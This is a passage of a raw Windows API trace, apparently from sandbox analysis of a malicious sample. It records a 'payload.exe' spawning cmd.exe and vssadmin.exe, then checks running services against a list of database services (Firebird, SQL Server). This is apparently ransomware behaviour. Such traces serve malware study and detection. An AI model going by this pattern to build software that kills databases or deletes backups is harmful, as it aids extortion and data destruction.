cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0046.729] lstrlenW (lpString="omnipos.exe") returned 11 [0046.729] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0046.730] lstrlenW (lpString="spcwin.exe") returned 10 [0046.730] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0046.730] lstrlenW (lpString="spgagentservice.exe") returned 19 [0046.730] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0046.731] lstrlenW (lpString="utg2.exe") returned 8 [0046.731] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0046.731] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0046.731] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0046.732] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0046.732] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0046.732] lstrlenW (lpString="notebook.exe") returned 12 [0046.732] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0046.733] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0046.733] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0046.733] lstrlenW (lpString="current.exe") returned 11 [0046.733] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0046.734] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0046.734] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0046.734] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0046.734] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0046.734] lstrlenW (lpString="taskhost.exe") returned 12 [0046.735] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0046.735] lstrlenW (lpString="payload.exe") returned 11 [0046.735] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0046.735] lstrlenW (lpString="cmd.exe") returned 7 [0046.735] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0046.736] lstrlenW (lpString="conhost.exe") returned 11 [0046.736] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0046.736] lstrlenW (lpString="vssadmin.exe") returned 12 [0046.736] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0046.737] lstrlenW (lpString="VSSVC.exe") returned 9 [0046.737] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.737] lstrlenW (lpString="svchost.exe") returned 11 [0046.737] Process32NextW (in: hSnapshot=0x1b0, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0046.737] CloseHandle (hObject=0x1b0) returned 1 [0046.737] Sleep (dwMilliseconds=0x1f4) [0047.634] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8ff988 [0047.634] EnumServicesStatusExW (in: hSCManager=0x8ff988, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0047.634] GetLastError () returned 0xea [0047.634] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x12c6) returned 0x974238 [0047.634] EnumServicesStatusExW (in: hSCManager=0x8ff988, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x974238, cbBufSize=0x12c6, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x974238, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0047.635] CloseServiceHandle (hSCObject=0x8ff988) returned 1 [0047.635] lstrlenW (lpString="Appinfo") returned 7 [0047.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0047.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0047.635] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0047.635] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0047.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0047.635] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0047.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.635] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0047.635] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0047.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0047.635] lstrlenW (lpString="AudioSrv") returned 8 [0047.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0047.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0047.635] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0047.635] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0047.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0047.636] lstrlenW (lpString="BFE") returned 3 [0047.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0047.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0047.636] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0047.636] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0047.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0047.636] lstrlenW (lpString="CryptSvc") returned 8 [0047.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0047.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0047.636] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0047.636] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0047.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0047.636] lstrlenW (lpString="CscService") returned 10 [0047.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0047.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0047.636] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0047.636] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0047.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0047.636] lstrlenW (lpString="DcomLaunch") returned 10 [0047.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.636] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0047.636] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0047.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0047.636] lstrlenW (lpString="Dhcp") returned 4 [0047.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0047.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0047.636] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0047.636] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0047.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0047.636] lstrlenW (lpString="Dnscache") returned 8 [0047.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0047.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0047.636] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0047.636] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0047.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0047.636] lstrlenW (lpString="DPS") returned 3 [0047.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0047.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0047.636] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0047.636] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0047.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0047.637] lstrlenW (lpString="eventlog") returned 8 [0047.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0047.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0047.637] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0047.637] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0047.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0047.637] lstrlenW (lpString="EventSystem") returned 11 [0047.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0047.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0047.637] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0047.637] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0047.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0047.637] lstrlenW (lpString="gpsvc") returned 5 [0047.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0047.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0047.637] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0047.637] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0047.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0047.637] lstrlenW (lpString="iphlpsvc") returned 8 [0047.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.637] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0047.637] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0047.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0047.637] lstrlenW (lpString="LanmanServer") returned 12 [0047.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0047.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0047.637] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0047.637] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0047.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0047.637] lstrlenW (lpString="LanmanWorkstation") returned 17 [0047.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.637] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0047.637] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0047.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0047.637] lstrlenW (lpString="lmhosts") returned 7 [0047.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0047.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0047.637] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0047.637] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0047.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0047.638] lstrlenW (lpString="MMCSS") returned 5 [0047.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0047.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0047.638] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0047.638] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0047.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0047.638] lstrlenW (lpString="MpsSvc") returned 6 [0047.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0047.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0047.638] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0047.638] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0047.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0047.638] lstrlenW (lpString="Netman") returned 6 [0047.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0047.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0047.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0047.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0047.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0047.638] lstrlenW (lpString="netprofm") returned 8 [0047.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0047.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0047.638] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0047.638] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0047.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0047.638] lstrlenW (lpString="NlaSvc") returned 6 [0047.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0047.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0047.638] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0047.638] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0047.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0047.638] lstrlenW (lpString="nsi") returned 3 [0047.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0047.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0047.638] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0047.638] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0047.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0047.638] lstrlenW (lpString="PcaSvc") returned 6 [0047.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0047.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0047.638] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0047.638] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0047.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0047.638] lstrlenW (lpString="PlugPlay") returned 8 [0047.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0047.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0047.639] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0047.639] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0047.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0047.639] lstrlenW (lpString="Power") returned 5 [0047.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0047.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0047.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0047.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0047.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0047.639] lstrlenW (lpString="ProfSvc") returned 7 [0047.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0047.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0047.639] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0047.639] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0047.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0047.639] lstrlenW (lpString="RpcEptMapper") returned 12 [0047.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.639] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0047.639] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0047.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0047.639] lstrlenW (lpString="RpcSs") returned 5 [0047.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0047.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0047.639] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0047.639] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0047.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0047.639] lstrlenW (lpString="SamSs") returned 5 [0047.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0047.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0047.639] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0047.639] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0047.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0047.639] lstrlenW (lpString="Schedule") returned 8 [0047.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0047.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0047.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0047.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0047.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0047.639] lstrlenW (lpString="SENS") returned 4 [0047.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0047.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0047.640] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0047.640] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0047.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0047.640] lstrlenW (lpString="ShellHWDetection") returned 16 [0047.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.640] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0047.640] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0047.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0047.640] lstrlenW (lpString="Spooler") returned 7 [0047.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0047.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0047.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0047.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0047.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0047.640] lstrlenW (lpString="swprv") returned 5 [0047.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0047.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0047.640] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0047.640] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0047.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0047.640] lstrlenW (lpString="SysMain") returned 7 [0047.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0047.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0047.640] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0047.640] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0047.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0047.640] lstrlenW (lpString="Themes") returned 6 [0047.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0047.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0047.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0047.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0047.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0047.640] lstrlenW (lpString="TrkWks") returned 6 [0047.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0047.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0047.640] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0047.640] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0047.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0047.640] lstrlenW (lpString="UxSms") returned 5 [0047.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0047.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0047.641] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0047.641] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0047.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0047.641] lstrlenW (lpString="VSS") returned 3 [0047.641] lstrcmpiW 